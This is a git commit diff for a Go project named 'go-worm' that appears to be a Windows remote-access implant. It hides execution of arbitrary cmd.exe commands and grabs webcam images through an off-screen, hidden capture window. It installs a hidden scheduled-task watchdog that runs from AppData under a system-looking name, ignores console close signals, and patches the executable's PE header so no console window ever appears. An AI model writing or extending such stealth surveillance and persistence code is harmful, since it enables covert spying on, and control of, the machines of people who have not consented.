fix(windows): prevent console window flash
- Centralize hidden-process setup per OS - Hide console early to avoid startup flash - Keep capture window off-screen and hidden - Enable unified scheduler for watchdog task - Force GUI subsystem in build script
This commit is contained in:
@@ -5,12 +5,10 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"syscall"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -34,11 +32,8 @@ func ResolveTimeout(seconds int) (time.Duration, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
|
func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
|
||||||
cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
|
cmd := exec.CommandContext(ctx, "cmd.exe", "/D", "/C", cmdline)
|
||||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
cmd.SysProcAttr = helpers.HiddenSysProcAttr()
|
||||||
HideWindow: true,
|
|
||||||
CreationFlags: windows.CREATE_NO_WINDOW,
|
|
||||||
}
|
|
||||||
var stdout, stderr bytes.Buffer
|
var stdout, stderr bytes.Buffer
|
||||||
cmd.Stdout = &stdout
|
cmd.Stdout = &stdout
|
||||||
cmd.Stderr = &stderr
|
cmd.Stderr = &stderr
|
||||||
|
|||||||
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package helpers
|
||||||
|
|
||||||
|
import "syscall"
|
||||||
|
|
||||||
|
func HiddenSysProcAttr() *syscall.SysProcAttr { return nil }
|
||||||
|
|
||||||
|
func HiddenDetachedSysProcAttr() *syscall.SysProcAttr { return nil }
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package helpers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"syscall"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
// HiddenSysProcAttr starts a process with no console window.
|
||||||
|
func HiddenSysProcAttr() *syscall.SysProcAttr {
|
||||||
|
return &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: windows.CREATE_NO_WINDOW,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HiddenDetachedSysProcAttr is HiddenSysProcAttr plus a new process group so
|
||||||
|
// the child survives after the parent exits (install relaunch, updates).
|
||||||
|
func HiddenDetachedSysProcAttr() *syscall.SysProcAttr {
|
||||||
|
return &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: windows.CREATE_NO_WINDOW |
|
||||||
|
windows.CREATE_NEW_PROCESS_GROUP |
|
||||||
|
windows.DETACHED_PROCESS,
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -7,3 +7,5 @@ func HideConsole() {}
|
|||||||
func ShowConsole() {}
|
func ShowConsole() {}
|
||||||
|
|
||||||
func ProtectFromConsoleClose() {}
|
func ProtectFromConsoleClose() {}
|
||||||
|
|
||||||
|
func AllowConsoleKill() {}
|
||||||
|
|||||||
@@ -26,6 +26,13 @@ const (
|
|||||||
ctrlCloseEvent = 2
|
ctrlCloseEvent = 2
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
// Must run before main: a console-subsystem build otherwise flashes a
|
||||||
|
// terminal during flag.Parse, which looks like a broken automation step.
|
||||||
|
ProtectFromConsoleClose()
|
||||||
|
HideConsole()
|
||||||
|
}
|
||||||
|
|
||||||
// HideConsole hides any console window and detaches from it.
|
// HideConsole hides any console window and detaches from it.
|
||||||
func HideConsole() {
|
func HideConsole() {
|
||||||
hwnd, _, _ := procGetConsoleWindow.Call()
|
hwnd, _, _ := procGetConsoleWindow.Call()
|
||||||
@@ -56,6 +63,14 @@ func ProtectFromConsoleClose() {
|
|||||||
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
|
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AllowConsoleKill restores default Ctrl+C handling for -foreground.
|
||||||
|
func AllowConsoleKill() {
|
||||||
|
if consoleCtrlCallback == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0)
|
||||||
|
}
|
||||||
|
|
||||||
func consoleCtrlHandler(ctrlType uintptr) uintptr {
|
func consoleCtrlHandler(ctrlType uintptr) uintptr {
|
||||||
switch uint32(ctrlType) {
|
switch uint32(ctrlType) {
|
||||||
case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:
|
case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:
|
||||||
|
|||||||
@@ -5,9 +5,8 @@ package instance
|
|||||||
import (
|
import (
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"syscall"
|
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
|
// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
|
||||||
@@ -23,12 +22,7 @@ func Launch(exe string, args []string) error {
|
|||||||
cmd.Stdin = nul
|
cmd.Stdin = nul
|
||||||
cmd.Stdout = nul
|
cmd.Stdout = nul
|
||||||
cmd.Stderr = nul
|
cmd.Stderr = nul
|
||||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr()
|
||||||
HideWindow: true,
|
|
||||||
CreationFlags: windows.CREATE_NO_WINDOW |
|
|
||||||
windows.CREATE_NEW_PROCESS_GROUP |
|
|
||||||
windows.DETACHED_PROCESS,
|
|
||||||
}
|
|
||||||
if err := cmd.Start(); err != nil {
|
if err := cmd.Start(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ func watchdogTaskXML(exe string) string {
|
|||||||
b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
|
b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
|
||||||
b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
|
b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
|
||||||
b.WriteString(`<Hidden>true</Hidden>`)
|
b.WriteString(`<Hidden>true</Hidden>`)
|
||||||
|
b.WriteString(`<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>`)
|
||||||
b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
|
b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
|
||||||
b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
|
b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
|
||||||
b.WriteString(`<Enabled>true</Enabled>`)
|
b.WriteString(`<Enabled>true</Enabled>`)
|
||||||
|
|||||||
@@ -22,8 +22,11 @@ func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
|
|||||||
if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
|
if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
|
||||||
t.Fatalf("WorkingDirectory missing:\n%s", xml)
|
t.Fatalf("WorkingDirectory missing:\n%s", xml)
|
||||||
}
|
}
|
||||||
if !strings.Contains(xml, "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>") {
|
if !strings.Contains(xml, "<Hidden>true</Hidden>") {
|
||||||
t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent")
|
t.Fatalf("task must be hidden:\n%s", xml)
|
||||||
|
}
|
||||||
|
if !strings.Contains(xml, "<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>") {
|
||||||
|
t.Fatalf("unified scheduler missing:\n%s", xml)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -7,12 +7,10 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
|
||||||
"unicode/utf16"
|
"unicode/utf16"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
)
|
)
|
||||||
|
|
||||||
func enableWatchdog() error {
|
func enableWatchdog() error {
|
||||||
@@ -45,7 +43,7 @@ func disableWatchdog() error {
|
|||||||
|
|
||||||
func runSchtasks(args ...string) error {
|
func runSchtasks(args ...string) error {
|
||||||
cmd := exec.Command("schtasks", args...)
|
cmd := exec.Command("schtasks", args...)
|
||||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
cmd.SysProcAttr = helpers.HiddenSysProcAttr()
|
||||||
out, err := cmd.CombinedOutput()
|
out, err := cmd.CombinedOutput()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
msg := strings.TrimSpace(string(out))
|
msg := strings.TrimSpace(string(out))
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ var (
|
|||||||
procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
|
procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
|
||||||
procSendMessageW = user32.NewProc("SendMessageW")
|
procSendMessageW = user32.NewProc("SendMessageW")
|
||||||
procDestroyWindow = user32.NewProc("DestroyWindow")
|
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||||
|
procShowWindow = user32.NewProc("ShowWindow")
|
||||||
captureMu sync.Mutex
|
captureMu sync.Mutex
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -39,6 +40,7 @@ const (
|
|||||||
wmCapSetPreview = wmCapStart + 50
|
wmCapSetPreview = wmCapStart + 50
|
||||||
wmCapSetScale = wmCapStart + 53
|
wmCapSetScale = wmCapStart + 53
|
||||||
wsPopup = 0x80000000
|
wsPopup = 0x80000000
|
||||||
|
swHide = 0
|
||||||
maxDrivers = 10
|
maxDrivers = 10
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -99,15 +101,17 @@ func Capture(index int, format string, quality int) (models.CapturedImage, error
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return models.CapturedImage{}, err
|
return models.CapturedImage{}, err
|
||||||
}
|
}
|
||||||
|
off := ^uintptr(31999) // -32000, off-screen so VFW's HWND never appears
|
||||||
hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
|
hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
|
||||||
uintptr(unsafe.Pointer(title)),
|
uintptr(unsafe.Pointer(title)),
|
||||||
wsPopup,
|
wsPopup, // no WS_VISIBLE
|
||||||
0, 0, 320, 240,
|
off, off, 320, 240,
|
||||||
0, 0,
|
0, 0,
|
||||||
)
|
)
|
||||||
if hwnd == 0 {
|
if hwnd == 0 {
|
||||||
return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
|
return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
|
||||||
}
|
}
|
||||||
|
_, _, _ = procShowWindow.Call(hwnd, uintptr(swHide))
|
||||||
defer procDestroyWindow.Call(hwnd)
|
defer procDestroyWindow.Call(hwnd)
|
||||||
|
|
||||||
ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
|
ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
|
||||||
|
|||||||
@@ -42,10 +42,9 @@ func main() {
|
|||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|
||||||
if *foreground {
|
if *foreground {
|
||||||
|
instance.AllowConsoleKill()
|
||||||
instance.ShowConsole()
|
instance.ShowConsole()
|
||||||
} else {
|
} else {
|
||||||
instance.ProtectFromConsoleClose()
|
|
||||||
instance.HideConsole()
|
|
||||||
_ = helpers.AttachLogFile()
|
_ = helpers.AttachLogFile()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -5,4 +5,23 @@ cd "$(dirname "$0")/.."
|
|||||||
|
|
||||||
out="${1:-win64_mp.exe}"
|
out="${1:-win64_mp.exe}"
|
||||||
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
|
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
|
||||||
|
# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
|
||||||
|
python3 - "$out" <<'PY'
|
||||||
|
import struct, sys
|
||||||
|
path = sys.argv[1]
|
||||||
|
with open(path, "r+b") as f:
|
||||||
|
f.seek(0x3C)
|
||||||
|
pe = struct.unpack("<I", f.read(4))[0]
|
||||||
|
f.seek(pe)
|
||||||
|
if f.read(4) != b"PE\x00\x00":
|
||||||
|
raise SystemExit(f"not a PE file: {path}")
|
||||||
|
opt = pe + 24
|
||||||
|
f.seek(opt)
|
||||||
|
magic, = struct.unpack("<H", f.read(2))
|
||||||
|
if magic not in (0x10B, 0x20B):
|
||||||
|
raise SystemExit(f"unknown PE magic {magic:#x}")
|
||||||
|
f.seek(opt + 68)
|
||||||
|
f.write(struct.pack("<H", 2))
|
||||||
|
print(f"pe subsystem=gui {path}")
|
||||||
|
PY
|
||||||
echo "built $out"
|
echo "built $out"
|
||||||
|
|||||||
Reference in New Issue
Block a user